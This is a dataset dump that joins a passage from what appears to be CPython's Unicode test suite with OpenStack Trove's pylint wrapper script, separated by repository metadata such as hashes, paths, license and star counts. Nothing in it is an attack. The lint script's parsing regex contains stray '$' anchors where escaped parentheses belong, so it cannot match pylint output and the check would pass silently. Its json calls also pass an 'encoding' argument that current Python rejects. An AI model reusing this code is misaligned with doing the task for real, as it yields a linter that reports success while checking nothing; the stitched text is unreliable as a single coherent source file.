(except surrogates, which are forbidden). u = ''.join(map(chr, list(range(0, 0xd800)) + list(range(0xe000, 0x110000)))) for encoding in ('utf-8',): self.assertEqual(str(u.encode(encoding),encoding), u) def test_codecs_charmap(self): # 0-127 s = bytes(range(128)) for encoding in ( 'cp037', 'cp1026', 'cp273', 'cp437', 'cp500', 'cp720', 'cp737', 'cp775', 'cp850', 'cp852', 'cp855', 'cp858', 'cp860', 'cp861', 'cp862', 'cp863', 'cp865', 'cp866', 'cp1125', 'iso8859_10', 'iso8859_13', 'iso8859_14', 'iso8859_15', 'iso8859_2', 'iso8859_3', 'iso8859_4', 'iso8859_5', 'iso8859_6', 'iso8859_7', 'iso8859_9', 'koi8_r', 'koi8_t', 'koi8_u', 'kz1048', 'latin_1', 'mac_cyrillic', 'mac_latin2', 'cp1250', 'cp1251', 'cp1252', 'cp1253', 'cp1254', 'cp1255', 'cp1256', 'cp1257', 'cp1258', 'cp856', 'cp857', 'cp864', 'cp869', 'cp874', 'mac_greek', 'mac_iceland','mac_roman', 'mac_turkish', 'cp1006', 'iso8859_8', ### These have undefined mappings: #'cp424', ### These fail the round-trip: #'cp875' ): self.assertEqual(str(s, encoding).encode(encoding), s) # 128-255 s = bytes(range(128, 256)) for encoding in ( 'cp037', 'cp1026', 'cp273', 'cp437', 'cp500', 'cp720', 'cp737', 'cp775', 'cp850', 'cp852', 'cp855', 'cp858', 'cp860', 'cp861', 'cp862', 'cp863', 'cp865', 'cp866', 'cp1125', 'iso8859_10', 'iso8859_13', 'iso8859_14', 'iso8859_15', 'iso8859_2', 'iso8859_4', 'iso8859_5', 'iso8859_9', 'koi8_r', 'koi8_u', 'latin_1', 'mac_cyrillic', 'mac_latin2', ### These have undefined mappings: #'cp1250', 'cp1251', 'cp1252', 'cp1253', 'cp1254', 'cp1255', #'cp1256', 'cp1257', 'cp1258', #'cp424', 'cp856', 'cp857', 'cp864', 'cp869', 'cp874', #'iso8859_3', 'iso8859_6', 'iso8859_7', 'koi8_t', 'kz1048', #'mac_greek', 'mac_iceland','mac_roman', 'mac_turkish', ### These fail the round-trip: #'cp1006', 'cp875', 'iso8859_8', ): self.assertEqual(str(s, encoding).encode(encoding), s) def test_concatenation(self): self.assertEqual(("abc" "def"), "abcdef") self.assertEqual(("abc" "def"), "abcdef") self.assertEqual(("abc" "def"), "abcdef") self.assertEqual(("abc" "def" "ghi"), "abcdefghi") self.assertEqual(("abc" "def" "ghi"), "abcdefghi") def test_printing(self): class BitBucket: def write(self, text): pass out = BitBucket() print('abc', file=out) print('abc', 'def', file=out) print('abc', 'def', file=out) print('abc', 'def', file=out) print('abc\n', file=out) print('abc\n', end=' ', file=out) print('abc\n', end=' ', file=out) print('def\n', file=out) print('def\n', file=out) def test_ucs4(self): x = '\U00100000' y = x.encode("raw-unicode-escape").decode("raw-unicode-escape") self.assertEqual(x, y) y = br'\U00100000' x = y.decode("raw-unicode-escape").encode("raw-unicode-escape") self.assertEqual(x, y) y = br'\U00010000' x = y.decode("raw-unicode-escape").encode("raw-unicode-escape") self.assertEqual(x, y) try: br'\U11111111'.decode("raw-unicode-escape") except UnicodeDecodeError as e: self.assertEqual(e.start, 0) self.assertEqual(e.end, 10) else: self.fail("Should have raised UnicodeDecodeError") def test_conversion(self): # Make sure __str__() works properly class ObjectToStr: def __str__(self): return "foo" class StrSubclassToStr(str): def __str__(self): return "foo" class StrSubclassToStrSubclass(str): def __new__(cls, content=""): return str.__new__(cls, 2*content) def __str__(self): return self self.assertEqual(str(ObjectToStr()), "foo") self.assertEqual(str(StrSubclassToStr("bar")), "foo") s = str(StrSubclassToStrSubclass("foo")) self.assertEqual(s, "foofoo") self.assertIs(type(s), StrSubclassToStrSubclass) s = StrSubclass(StrSubclassToStrSubclass("foo")) self.assertEqual(s, "foofoo") self.assertIs(type(s), StrSubclass) def test_unicode_repr(self): class s1: def __repr__(self): return '\\n' class s2: def __repr__(self): return '\\n' self.assertEqual(repr(s1()), '\\n') self.assertEqual(repr(s2()), '\\n') def test_printable_repr(self): self.assertEqual(repr('\U00010000'), "'%c'" % (0x10000,)) # printable self.assertEqual(repr('\U00014000'), "'\\U00014000'") # nonprintable # This test only affects 32-bit platforms because expandtabs can only take # an int as the max value, not a 64-bit C long. If expandtabs is changed # to take a 64-bit long, this test should apply to all platforms. @unittest.skipIf(sys.maxsize > (1 << 32) or struct.calcsize('P') != 4, 'only applies to 32-bit platforms') def test_expandtabs_overflows_gracefully(self): self.assertRaises(OverflowError, 't\tt\t'.expandtabs, sys.maxsize) @support.cpython_only def test_expandtabs_optimization(self): s = 'abc' self.assertIs(s.expandtabs(), s) def test_raiseMemError(self): if struct.calcsize('P') == 8: # 64 bits pointers ascii_struct_size = 48 compact_struct_size = 72 else: # 32 bits pointers ascii_struct_size = 24 compact_struct_size = 36 for char in ('a', '\xe9', '\u20ac', '\U0010ffff'): code = ord(char) if code < 0x100: char_size = 1 # sizeof(Py_UCS1) struct_size = ascii_struct_size elif code < 0x10000: char_size = 2 # sizeof(Py_UCS2) struct_size = compact_struct_size else: char_size = 4 # sizeof(Py_UCS4) struct_size = compact_struct_size # Note: sys.maxsize is half of the actual max allocation because of # the signedness of Py_ssize_t. Strings of maxlen-1 should in principle # be allocatable, given enough memory. maxlen = ((sys.maxsize - struct_size) // char_size) alloc = lambda: char * maxlen self.assertRaises(MemoryError, alloc) self.assertRaises(MemoryError, alloc) def test_format_subclass(self): class S(str): def __str__(self): return '__str__ overridden' s = S('xxx') self.assertEqual("%s" % s, '__str__ overridden') self.assertEqual("{}".format(s), '__str__ overridden') def test_subclass_add(self): class S(str): def __add__(self, o): return "3" self.assertEqual(S("4") + S("5"), "3") class S(str): def __iadd__(self, o): return "3" s = S("1") s += "4" self.assertEqual(s, "3") def test_getnewargs(self): text = 'abc' args = text.__getnewargs__() self.assertIsNot(args[0], text) self.assertEqual(args[0], text) self.assertEqual(len(args), 1) def test_resize(self): for length in range(1, 100, 7): # generate a fresh string (refcount=1) text = 'a' * length + 'b' with support.check_warnings(('unicode_internal codec has been ' 'deprecated', DeprecationWarning)): # fill wstr internal field abc = text.encode('unicode_internal') self.assertEqual(abc.decode('unicode_internal'), text) # resize text: wstr field must be cleared and then recomputed text += 'c' abcdef = text.encode('unicode_internal') self.assertNotEqual(abc, abcdef) self.assertEqual(abcdef.decode('unicode_internal'), text) def test_compare(self): # Issue #17615 N = 10 ascii = 'a' * N ascii2 = 'z' * N latin = '\x80' * N latin2 = '\xff' * N bmp = '\u0100' * N bmp2 = '\uffff' * N astral = '\U00100000' * N astral2 = '\U0010ffff' * N strings = ( ascii, ascii2, latin, latin2, bmp, bmp2, astral, astral2) for text1, text2 in itertools.combinations(strings, 2): equal = (text1 is text2) self.assertEqual(text1 == text2, equal) self.assertEqual(text1 != text2, not equal) if equal: self.assertTrue(text1 <= text2) self.assertTrue(text1 >= text2) # text1 is text2: duplicate strings to skip the "str1 == str2" # optimization in unicode_compare_eq() and really compare # character per character copy1 = duplicate_string(text1) copy2 = duplicate_string(text2) self.assertIsNot(copy1, copy2) self.assertTrue(copy1 == copy2) self.assertFalse(copy1 != copy2) self.assertTrue(copy1 <= copy2) self.assertTrue(copy2 >= copy2) self.assertTrue(ascii < ascii2) self.assertTrue(ascii < latin) self.assertTrue(ascii < bmp) self.assertTrue(ascii < astral) self.assertFalse(ascii >= ascii2) self.assertFalse(ascii >= latin) self.assertFalse(ascii >= bmp) self.assertFalse(ascii >= astral) self.assertFalse(latin < ascii) self.assertTrue(latin < latin2) self.assertTrue(latin < bmp) self.assertTrue(latin < astral) self.assertTrue(latin >= ascii) self.assertFalse(latin >= latin2) self.assertFalse(latin >= bmp) self.assertFalse(latin >= astral) self.assertFalse(bmp < ascii) self.assertFalse(bmp < latin) self.assertTrue(bmp < bmp2) self.assertTrue(bmp < astral) self.assertTrue(bmp >= ascii) self.assertTrue(bmp >= latin) self.assertFalse(bmp >= bmp2) self.assertFalse(bmp >= astral) self.assertFalse(astral < ascii) self.assertFalse(astral < latin) self.assertFalse(astral < bmp2) self.assertTrue(astral < astral2) self.assertTrue(astral >= ascii) self.assertTrue(astral >= latin) self.assertTrue(astral >= bmp2) self.assertFalse(astral >= astral2) def test_free_after_iterating(self): support.check_free_after_iterating(self, iter, str) support.check_free_after_iterating(self, reversed, str) class CAPITest(unittest.TestCase): # Test PyUnicode_FromFormat() def test_from_format(self): support.import_module('ctypes') from ctypes import ( pythonapi, py_object, sizeof, c_int, c_long, c_longlong, c_ssize_t, c_uint, c_ulong, c_ulonglong, c_size_t, c_void_p) name = "PyUnicode_FromFormat" _PyUnicode_FromFormat = getattr(pythonapi, name) _PyUnicode_FromFormat.restype = py_object def PyUnicode_FromFormat(format, *args): cargs = tuple( py_object(arg) if isinstance(arg, str) else arg for arg in args) return _PyUnicode_FromFormat(format, *cargs) def check_format(expected, format, *args): text = PyUnicode_FromFormat(format, *args) self.assertEqual(expected, text) # ascii format, non-ascii argument check_format('ascii\x7f=unicode\xe9', b'ascii\x7f=%U', 'unicode\xe9') # non-ascii format, ascii argument: ensure that PyUnicode_FromFormatV() # raises an error self.assertRaisesRegex(ValueError, r'^PyUnicode_FromFormatV expects an ASCII-encoded format ' 'string, got a non-ASCII byte: 0xe9$', PyUnicode_FromFormat, b'unicode\xe9=%s', 'ascii') # test "%c" check_format('\uabcd', b'%c', c_int(0xabcd)) check_format('\U0010ffff', b'%c', c_int(0x10ffff)) with self.assertRaises(OverflowError): PyUnicode_FromFormat(b'%c', c_int(0x110000)) # Issue #18183 check_format('\U00010000\U00100000', b'%c%c', c_int(0x10000), c_int(0x100000)) # test "%" check_format('%', b'%') check_format('%', b'%%') check_format('%s', b'%%s') check_format('[%]', b'[%%]') check_format('%abc', b'%%%s', b'abc') # truncated string check_format('abc', b'%.3s', b'abcdef') check_format('abc[\ufffd', b'%.5s', 'abc[\u20ac]'.encode('utf8')) check_format("'\\u20acABC'", b'%A', '\u20acABC') check_format("'\\u20", b'%.5A', '\u20acABCDEF') check_format("'\u20acABC'", b'%R', '\u20acABC') check_format("'\u20acA", b'%.3R', '\u20acABCDEF') check_format('\u20acAB', b'%.3S', '\u20acABCDEF') check_format('\u20acAB', b'%.3U', '\u20acABCDEF') check_format('\u20acAB', b'%.3V', '\u20acABCDEF', None) check_format('abc[\ufffd', b'%.5V', None, 'abc[\u20ac]'.encode('utf8')) # following tests comes from #7330 # test width modifier and precision modifier with %S check_format("repr= abc", b'repr=%5S', 'abc') check_format("repr=ab", b'repr=%.2S', 'abc') check_format("repr= ab", b'repr=%5.2S', 'abc') # test width modifier and precision modifier with %R check_format("repr= 'abc'", b'repr=%8R', 'abc') check_format("repr='ab", b'repr=%.3R', 'abc') check_format("repr= 'ab", b'repr=%5.3R', 'abc') # test width modifier and precision modifier with %A check_format("repr= 'abc'", b'repr=%8A', 'abc') check_format("repr='ab", b'repr=%.3A', 'abc') check_format("repr= 'ab", b'repr=%5.3A', 'abc') # test width modifier and precision modifier with %s check_format("repr= abc", b'repr=%5s', b'abc') check_format("repr=ab", b'repr=%.2s', b'abc') check_format("repr= ab", b'repr=%5.2s', b'abc') # test width modifier and precision modifier with %U check_format("repr= abc", b'repr=%5U', 'abc') check_format("repr=ab", b'repr=%.2U', 'abc') check_format("repr= ab", b'repr=%5.2U', 'abc') # test width modifier and precision modifier with %V check_format("repr= abc", b'repr=%5V', 'abc', b'123') check_format("repr=ab", b'repr=%.2V', 'abc', b'123') check_format("repr= ab", b'repr=%5.2V', 'abc', b'123') check_format("repr= 123", b'repr=%5V', None, b'123') check_format("repr=12", b'repr=%.2V', None, b'123') check_format("repr= 12", b'repr=%5.2V', None, b'123') # test integer formats (%i, %d, %u) check_format('010', b'%03i', c_int(10)) check_format('0010', b'%0.4i', c_int(10)) check_format('-123', b'%i', c_int(-123)) check_format('-123', b'%li', c_long(-123)) check_format('-123', b'%lli', c_longlong(-123)) check_format('-123', b'%zi', c_ssize_t(-123)) check_format('-123', b'%d', c_int(-123)) check_format('-123', b'%ld', c_long(-123)) check_format('-123', b'%lld', c_longlong(-123)) check_format('-123', b'%zd', c_ssize_t(-123)) check_format('123', b'%u', c_uint(123)) check_format('123', b'%lu', c_ulong(123)) check_format('123', b'%llu', c_ulonglong(123)) check_format('123', b'%zu', c_size_t(123)) # test long output min_longlong = -(2 ** (8 * sizeof(c_longlong) - 1)) max_longlong = -min_longlong - 1 check_format(str(min_longlong), b'%lld', c_longlong(min_longlong)) check_format(str(max_longlong), b'%lld', c_longlong(max_longlong)) max_ulonglong = 2 ** (8 * sizeof(c_ulonglong)) - 1 check_format(str(max_ulonglong), b'%llu', c_ulonglong(max_ulonglong)) PyUnicode_FromFormat(b'%p', c_void_p(-1)) # test padding (width and/or precision) check_format('123'.rjust(10, '0'), b'%010i', c_int(123)) check_format('123'.rjust(100), b'%100i', c_int(123)) check_format('123'.rjust(100, '0'), b'%.100i', c_int(123)) check_format('123'.rjust(80, '0').rjust(100), b'%100.80i', c_int(123)) check_format('123'.rjust(10, '0'), b'%010u', c_uint(123)) check_format('123'.rjust(100), b'%100u', c_uint(123)) check_format('123'.rjust(100, '0'), b'%.100u', c_uint(123)) check_format('123'.rjust(80, '0').rjust(100), b'%100.80u', c_uint(123)) check_format('123'.rjust(10, '0'), b'%010x', c_int(0x123)) check_format('123'.rjust(100), b'%100x', c_int(0x123)) check_format('123'.rjust(100, '0'), b'%.100x', c_int(0x123)) check_format('123'.rjust(80, '0').rjust(100), b'%100.80x', c_int(0x123)) # test %A check_format(r"%A:'abc\xe9\uabcd\U0010ffff'", b'%%A:%A', 'abc\xe9\uabcd\U0010ffff') # test %V check_format('repr=abc', b'repr=%V', 'abc', b'xyz') # Test string decode from parameter of %s using utf-8. # b'\xe4\xba\xba\xe6\xb0\x91' is utf-8 encoded byte sequence of # '\u4eba\u6c11' check_format('repr=\u4eba\u6c11', b'repr=%V', None, b'\xe4\xba\xba\xe6\xb0\x91') #Test replace error handler. check_format('repr=abc\ufffd', b'repr=%V', None, b'abc\xff') # not supported: copy the raw format string. these tests are just here # to check for crashes and should not be considered as specifications check_format('%s', b'%1%s', b'abc') check_format('%1abc', b'%1abc') check_format('%+i', b'%+i', c_int(10)) check_format('%.%s', b'%.%s', b'abc') # Test PyUnicode_AsWideChar() @support.cpython_only def test_aswidechar(self): from _testcapi import unicode_aswidechar support.import_module('ctypes') from ctypes import c_wchar, sizeof wchar, size = unicode_aswidechar('abcdef', 2) self.assertEqual(size, 2) self.assertEqual(wchar, 'ab') wchar, size = unicode_aswidechar('abc', 3) self.assertEqual(size, 3) self.assertEqual(wchar, 'abc') wchar, size = unicode_aswidechar('abc', 4) self.assertEqual(size, 3) self.assertEqual(wchar, 'abc\0') wchar, size = unicode_aswidechar('abc', 10) self.assertEqual(size, 3) self.assertEqual(wchar, 'abc\0') wchar, size = unicode_aswidechar('abc\0def', 20) self.assertEqual(size, 7) self.assertEqual(wchar, 'abc\0def\0') nonbmp = chr(0x10ffff) if sizeof(c_wchar) == 2: buflen = 3 nchar = 2 else: # sizeof(c_wchar) == 4 buflen = 2 nchar = 1 wchar, size = unicode_aswidechar(nonbmp, buflen) self.assertEqual(size, nchar) self.assertEqual(wchar, nonbmp + '\0') # Test PyUnicode_AsWideCharString() @support.cpython_only def test_aswidecharstring(self): from _testcapi import unicode_aswidecharstring support.import_module('ctypes') from ctypes import c_wchar, sizeof wchar, size = unicode_aswidecharstring('abc') self.assertEqual(size, 3) self.assertEqual(wchar, 'abc\0') wchar, size = unicode_aswidecharstring('abc\0def') self.assertEqual(size, 7) self.assertEqual(wchar, 'abc\0def\0') nonbmp = chr(0x10ffff) if sizeof(c_wchar) == 2: nchar = 2 else: # sizeof(c_wchar) == 4 nchar = 1 wchar, size = unicode_aswidecharstring(nonbmp) self.assertEqual(size, nchar) self.assertEqual(wchar, nonbmp + '\0') # Test PyUnicode_AsUCS4() @support.cpython_only def test_asucs4(self): from _testcapi import unicode_asucs4 for s in ['abc', '\xa1\xa2', '\u4f60\u597d', 'a\U0001f600', 'a\ud800b\udfffc', '\ud834\udd1e']: l = len(s) self.assertEqual(unicode_asucs4(s, l, 1), s+'\0') self.assertEqual(unicode_asucs4(s, l, 0), s+'\uffff') self.assertEqual(unicode_asucs4(s, l+1, 1), s+'\0\uffff') self.assertEqual(unicode_asucs4(s, l+1, 0), s+'\0\uffff') self.assertRaises(SystemError, unicode_asucs4, s, l-1, 1) self.assertRaises(SystemError, unicode_asucs4, s, l-2, 0) s = '\0'.join([s, s]) self.assertEqual(unicode_asucs4(s, len(s), 1), s+'\0') self.assertEqual(unicode_asucs4(s, len(s), 0), s+'\uffff') # Test PyUnicode_FindChar() @support.cpython_only def test_findchar(self): from _testcapi import unicode_findchar for str in "\xa1", "\u8000\u8080", "\ud800\udc02", "\U0001f100\U0001f1f1": for i, ch in enumerate(str): self.assertEqual(unicode_findchar(str, ord(ch), 0, len(str), 1), i) self.assertEqual(unicode_findchar(str, ord(ch), 0, len(str), -1), i) str = "!>_<!" self.assertEqual(unicode_findchar(str, 0x110000, 0, len(str), 1), -1) self.assertEqual(unicode_findchar(str, 0x110000, 0, len(str), -1), -1) # start < end self.assertEqual(unicode_findchar(str, ord('!'), 1, len(str)+1, 1), 4) self.assertEqual(unicode_findchar(str, ord('!'), 1, len(str)+1, -1), 4) # start >= end self.assertEqual(unicode_findchar(str, ord('!'), 0, 0, 1), -1) self.assertEqual(unicode_findchar(str, ord('!'), len(str), 0, 1), -1) # negative self.assertEqual(unicode_findchar(str, ord('!'), -len(str), -1, 1), 0) self.assertEqual(unicode_findchar(str, ord('!'), -len(str), -1, -1), 0) # Test PyUnicode_CopyCharacters() @support.cpython_only def test_copycharacters(self): from _testcapi import unicode_copycharacters strings = [ 'abcde', '\xa1\xa2\xa3\xa4\xa5', '\u4f60\u597d\u4e16\u754c\uff01', '\U0001f600\U0001f601\U0001f602\U0001f603\U0001f604' ] for idx, from_ in enumerate(strings): # wide -> narrow: exceed maxchar limitation for to in strings[:idx]: self.assertRaises( SystemError, unicode_copycharacters, to, 0, from_, 0, 5 ) # same kind for from_start in range(5): self.assertEqual( unicode_copycharacters(from_, 0, from_, from_start, 5), (from_[from_start:from_start+5].ljust(5, '\0'), 5-from_start) ) for to_start in range(5): self.assertEqual( unicode_copycharacters(from_, to_start, from_, to_start, 5), (from_[to_start:to_start+5].rjust(5, '\0'), 5-to_start) ) # narrow -> wide # Tests omitted since this creates invalid strings. s = strings[0] self.assertRaises(IndexError, unicode_copycharacters, s, 6, s, 0, 5) self.assertRaises(IndexError, unicode_copycharacters, s, -1, s, 0, 5) self.assertRaises(IndexError, unicode_copycharacters, s, 0, s, 6, 5) self.assertRaises(IndexError, unicode_copycharacters, s, 0, s, -1, 5) self.assertRaises(SystemError, unicode_copycharacters, s, 1, s, 0, 5) self.assertRaises(SystemError, unicode_copycharacters, s, 0, s, 0, -1) self.assertRaises(SystemError, unicode_copycharacters, s, 0, b'', 0, 0) @support.cpython_only def test_encode_decimal(self): from _testcapi import unicode_encodedecimal self.assertEqual(unicode_encodedecimal('123'), b'123') self.assertEqual(unicode_encodedecimal('\u0663.\u0661\u0664'), b'3.14') self.assertEqual(unicode_encodedecimal("\N{EM SPACE}3.14\N{EN SPACE}"), b' 3.14 ') self.assertRaises(UnicodeEncodeError, unicode_encodedecimal, "123\u20ac", "strict") self.assertRaisesRegex( ValueError, "^'decimal' codec can't encode character", unicode_encodedecimal, "123\u20ac", "replace") @support.cpython_only def test_transform_decimal(self): from _testcapi import unicode_transformdecimaltoascii as transform_decimal self.assertEqual(transform_decimal('123'), '123') self.assertEqual(transform_decimal('\u0663.\u0661\u0664'), '3.14') self.assertEqual(transform_decimal("\N{EM SPACE}3.14\N{EN SPACE}"), "\N{EM SPACE}3.14\N{EN SPACE}") self.assertEqual(transform_decimal('123\u20ac'), '123\u20ac') @support.cpython_only def test_pep393_utf8_caching_bug(self): # Issue #25709: Problem with string concatenation and utf-8 cache from _testcapi import getargs_s_hash for k in 0x24, 0xa4, 0x20ac, 0x1f40d: s = '' for i in range(5): # Due to CPython specific optimization the 's' string can be # resized in-place. s += chr(k) # Parsing with the "s#" format code calls indirectly # PyUnicode_AsUTF8AndSize() which creates the UTF-8 # encoded string cached in the Unicode object. self.assertEqual(getargs_s_hash(s), chr(k).encode() * (i + 1)) # Check that the second call returns the same result self.assertEqual(getargs_s_hash(s), chr(k).encode() * (i + 1)) class StringModuleTest(unittest.TestCase): def test_formatter_parser(self): def parse(format): return list(_string.formatter_parser(format)) formatter = parse("prefix {2!s}xxx{0:^+10.3f}{obj.attr!s} {z[0]!s:10}") self.assertEqual(formatter, [ ('prefix ', '2', '', 's'), ('xxx', '0', '^+10.3f', None), ('', 'obj.attr', '', 's'), (' ', 'z[0]', '10', 's'), ]) formatter = parse("prefix {} suffix") self.assertEqual(formatter, [ ('prefix ', '', '', None), (' suffix', None, None, None), ]) formatter = parse("str") self.assertEqual(formatter, [ ('str', None, None, None), ]) formatter = parse("") self.assertEqual(formatter, []) formatter = parse("{0}") self.assertEqual(formatter, [ ('', '0', '', None), ]) self.assertRaises(TypeError, _string.formatter_parser, 1) def test_formatter_field_name_split(self): def split(name): items = list(_string.formatter_field_name_split(name)) items[1] = list(items[1]) return items self.assertEqual(split("obj"), ["obj", []]) self.assertEqual(split("obj.arg"), ["obj", [(True, 'arg')]]) self.assertEqual(split("obj[key]"), ["obj", [(False, 'key')]]) self.assertEqual(split("obj.arg[key1][key2]"), [ "obj", [(True, 'arg'), (False, 'key1'), (False, 'key2'), ]]) self.assertRaises(TypeError, _string.formatter_field_name_split, 1) if __name__ == "__main__": unittest.main()

true

f705051db073657252741e08c08f2ef3c4cd9b70

11,317

py

Python

tools/trove-pylint.py

a4913994/openstack_trove

3b550048dd1e5841ad0f3295679e0f0b913a5687

[ "Apache-2.0" ]

244

2015-01-01T12:04:44.000Z

2022-03-25T23:38:39.000Z

tools/trove-pylint.py

a4913994/openstack_trove

3b550048dd1e5841ad0f3295679e0f0b913a5687

[ "Apache-2.0" ]

6

2015-08-18T08:19:10.000Z

2022-03-05T02:32:36.000Z

tools/trove-pylint.py

a4913994/openstack_trove

3b550048dd1e5841ad0f3295679e0f0b913a5687

[ "Apache-2.0" ]

178

2015-01-02T15:16:58.000Z

2022-03-23T03:30:20.000Z

#!/usr/bin/env python # Copyright 2016 Tesora, Inc. # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import fnmatch import json from collections import OrderedDict import io import os import re import sys from pylint import lint from pylint.reporters import text DEFAULT_CONFIG_FILE = "tools/trove-pylint.config" DEFAULT_IGNORED_FILES = ['trove/tests'] DEFAULT_IGNORED_CODES = [] DEFAULT_IGNORED_MESSAGES = [] DEFAULT_ALWAYS_ERROR = [ "Undefined variable '_'", "Undefined variable '_LE'", "Undefined variable '_LI'", "Undefined variable '_LW'", "Undefined variable '_LC'"] MODE_CHECK = "check" MODE_REBUILD = "rebuild" class Config(object): def __init__(self, filename=DEFAULT_CONFIG_FILE): self.default_config = { "include": ["*.py"], "folder": "trove", "options": ["--rcfile=./pylintrc", "-E"], "ignored_files": DEFAULT_IGNORED_FILES, "ignored_codes": DEFAULT_IGNORED_CODES, "ignored_messages": DEFAULT_IGNORED_MESSAGES, "ignored_file_codes": [], "ignored_file_messages": [], "ignored_file_code_messages": [], "always_error_messages": DEFAULT_ALWAYS_ERROR } self.config = self.default_config def sort_config(self): sorted_config = OrderedDict() for key in sorted(self.config.keys()): value = self.get(key) if isinstance(value, list) and not isinstance(value,str): sorted_config[key] = sorted(value) else: sorted_config[key] = value return sorted_config def save(self, filename=DEFAULT_CONFIG_FILE): if os.path.isfile(filename): os.rename(filename, "%s~" % filename) with open(filename, 'w') as fp: json.dump(self.sort_config(), fp, encoding="utf-8", indent=2, separators=(',', ': ')) def load(self, filename=DEFAULT_CONFIG_FILE): with open(filename) as fp: self.config = json.load(fp, encoding="utf-8") def get(self, attribute): return self.config[attribute] def is_file_ignored(self, f): if any(f.startswith(i) for i in self.config['ignored_files']): return True return False def is_file_included(self, f): if any(fnmatch.fnmatch(f, wc) for wc in self.config['include']): return True return False def is_always_error(self, message): if message in self.config['always_error_messages']: return True return False def ignore(self, filename, code, codename, message): # the high priority checks if self.is_file_ignored(filename): return True # never ignore messages if self.is_always_error(message): return False if code in self.config['ignored_codes']: return True if codename in self.config['ignored_codes']: return True if message and any(message.startswith(ignore_message) for ignore_message in self.config['ignored_messages']): return True if filename and message and ( [filename, message] in self.config['ignored_file_messages']): return True if filename and code and ( [filename, code] in self.config['ignored_file_codes']): return True if filename and codename and ( [filename, codename] in self.config['ignored_file_codes']): return True for fcm in self.config['ignored_file_code_messages']: if filename != fcm[0]: # This ignore rule is for a different file. continue if fcm[1] not in (code, codename): # This ignore rule is for a different code or codename. continue if message.startswith(fcm[2]): return True return False def ignore_code(self, c): _c = set(self.config['ignored_codes']) _c.add(c) self.config['ignored_codes'] = list(_c) def ignore_files(self, f): _c = set(self.config['ignored_files']) _c.add(f) self.config['ignored_files'] = list(_c) def ignore_message(self, m): _c = set(self.config['ignored_messages']) _c.add(m) self.config['ignored_messages'] = list(_c) def ignore_file_code(self, f, c): _c = set(self.config['ignored_file_codes']) _c.add((f, c)) self.config['ignored_file_codes'] = list(_c) def ignore_file_message(self, f, m): _c = set(self.config['ignored_file_messages']) _c.add((f, m)) self.config['ignored_file_messages'] = list(_c) def ignore_file_code_message(self, f, c, m, fn): _c = set(self.config['ignored_file_code_messages']) _c.add((f, c, m, fn)) self.config['ignored_file_code_messages'] = list(_c) def main(): if len(sys.argv) == 1 or sys.argv[1] == "check": return check() elif sys.argv[1] == "rebuild": return rebuild() elif sys.argv[1] == "initialize": return initialize() else: return usage() def usage(): print("Usage: %s [check|rebuild]" % sys.argv[0]) print("\tUse this tool to perform a lint check of the trove project.") print("\t check: perform the lint check.") print("\t rebuild: rebuild the list of exceptions to ignore.") return 0 class ParseableTextReporter(text.TextReporter): name = 'parseable' line_format = '{path}:{line}: [{msg_id}({symbol}), {obj}] {msg}' # that's it folks class LintRunner(object): def __init__(self): self.config = Config() self.idline = re.compile("^[*]* Module .*") self.detail = re.compile(r"(\S+):(\d+): \[(\S+)$(\S+)$," r" (\S+)?] (.*)") def dolint(self, filename): exceptions = set() buffer = io.StringIO() reporter = ParseableTextReporter(output=buffer) options = list(self.config.get('options')) options.append(filename) lint.Run(options, reporter=reporter, exit=False) output = buffer.getvalue() buffer.close() for line in output.splitlines(): if self.idline.match(line): continue if self.detail.match(line): mo = self.detail.search(line) tokens = mo.groups() fn = tokens[0] ln = tokens[1] code = tokens[2] codename = tokens[3] func = tokens[4] message = tokens[5] if not self.config.ignore(fn, code, codename, message): exceptions.add((fn, ln, code, codename, func, message)) return exceptions def process(self, mode=MODE_CHECK): files_processed = 0 files_with_errors = 0 errors_recorded = 0 exceptions_recorded = 0 all_exceptions = [] for (root, dirs, files) in os.walk(self.config.get('folder')): # if we shouldn't even bother about this part of the # directory structure, we can punt quietly if self.config.is_file_ignored(root): continue # since we are walking top down, let's clean up the dirs # that we will walk by eliminating any dirs that will # end up getting ignored for d in dirs: p = os.path.join(root, d) if self.config.is_file_ignored(p): dirs.remove(d) # check if we can ignore the file and process if not for f in files: p = os.path.join(root, f) if self.config.is_file_ignored(p): continue if not self.config.is_file_included(f): continue files_processed += 1 exceptions = self.dolint(p) file_had_errors = 0 for e in exceptions: # what we do with this exception depents on the # kind of exception, and the mode if self.config.is_always_error(e[5]): all_exceptions.append(e) errors_recorded += 1 file_had_errors += 1 elif mode == MODE_REBUILD: # parameters to ignore_file_code_message are # filename, code, message and function self.config.ignore_file_code_message(e[0], e[2], e[-1], e[4]) self.config.ignore_file_code_message(e[0], e[3], e[-1], e[4]) exceptions_recorded += 1 elif mode == MODE_CHECK: all_exceptions.append(e) errors_recorded += 1 file_had_errors += 1 if file_had_errors: files_with_errors += 1 for e in sorted(all_exceptions): print("ERROR: %s %s: %s %s, %s: %s" % (e[0], e[1], e[2], e[3], e[4], e[5])) return (files_processed, files_with_errors, errors_recorded, exceptions_recorded) def rebuild(self): self.initialize() (files_processed, files_with_errors, errors_recorded, exceptions_recorded) = self.process(mode=MODE_REBUILD) if files_with_errors > 0: print("Rebuild failed. %s files processed, %s had errors, " "%s errors recorded." % ( files_processed, files_with_errors, errors_recorded)) return 1 self.config.save() print("Rebuild completed. %s files processed, %s exceptions recorded." % (files_processed, exceptions_recorded)) return 0 def check(self): self.config.load() (files_processed, files_with_errors, errors_recorded, exceptions_recorded) = self.process(mode=MODE_CHECK) if files_with_errors > 0: print("Check failed. %s files processed, %s had errors, " "%s errors recorded." % ( files_processed, files_with_errors, errors_recorded)) return 1 print("Check succeeded. %s files processed" % files_processed) return 0 def initialize(self): self.config.save() return 0 def check(): exit(LintRunner().check()) def rebuild(): exit(LintRunner().rebuild()) def initialize(): exit(LintRunner().initialize()) if __name__ == "__main__": main()

32.242165

85

0.567111

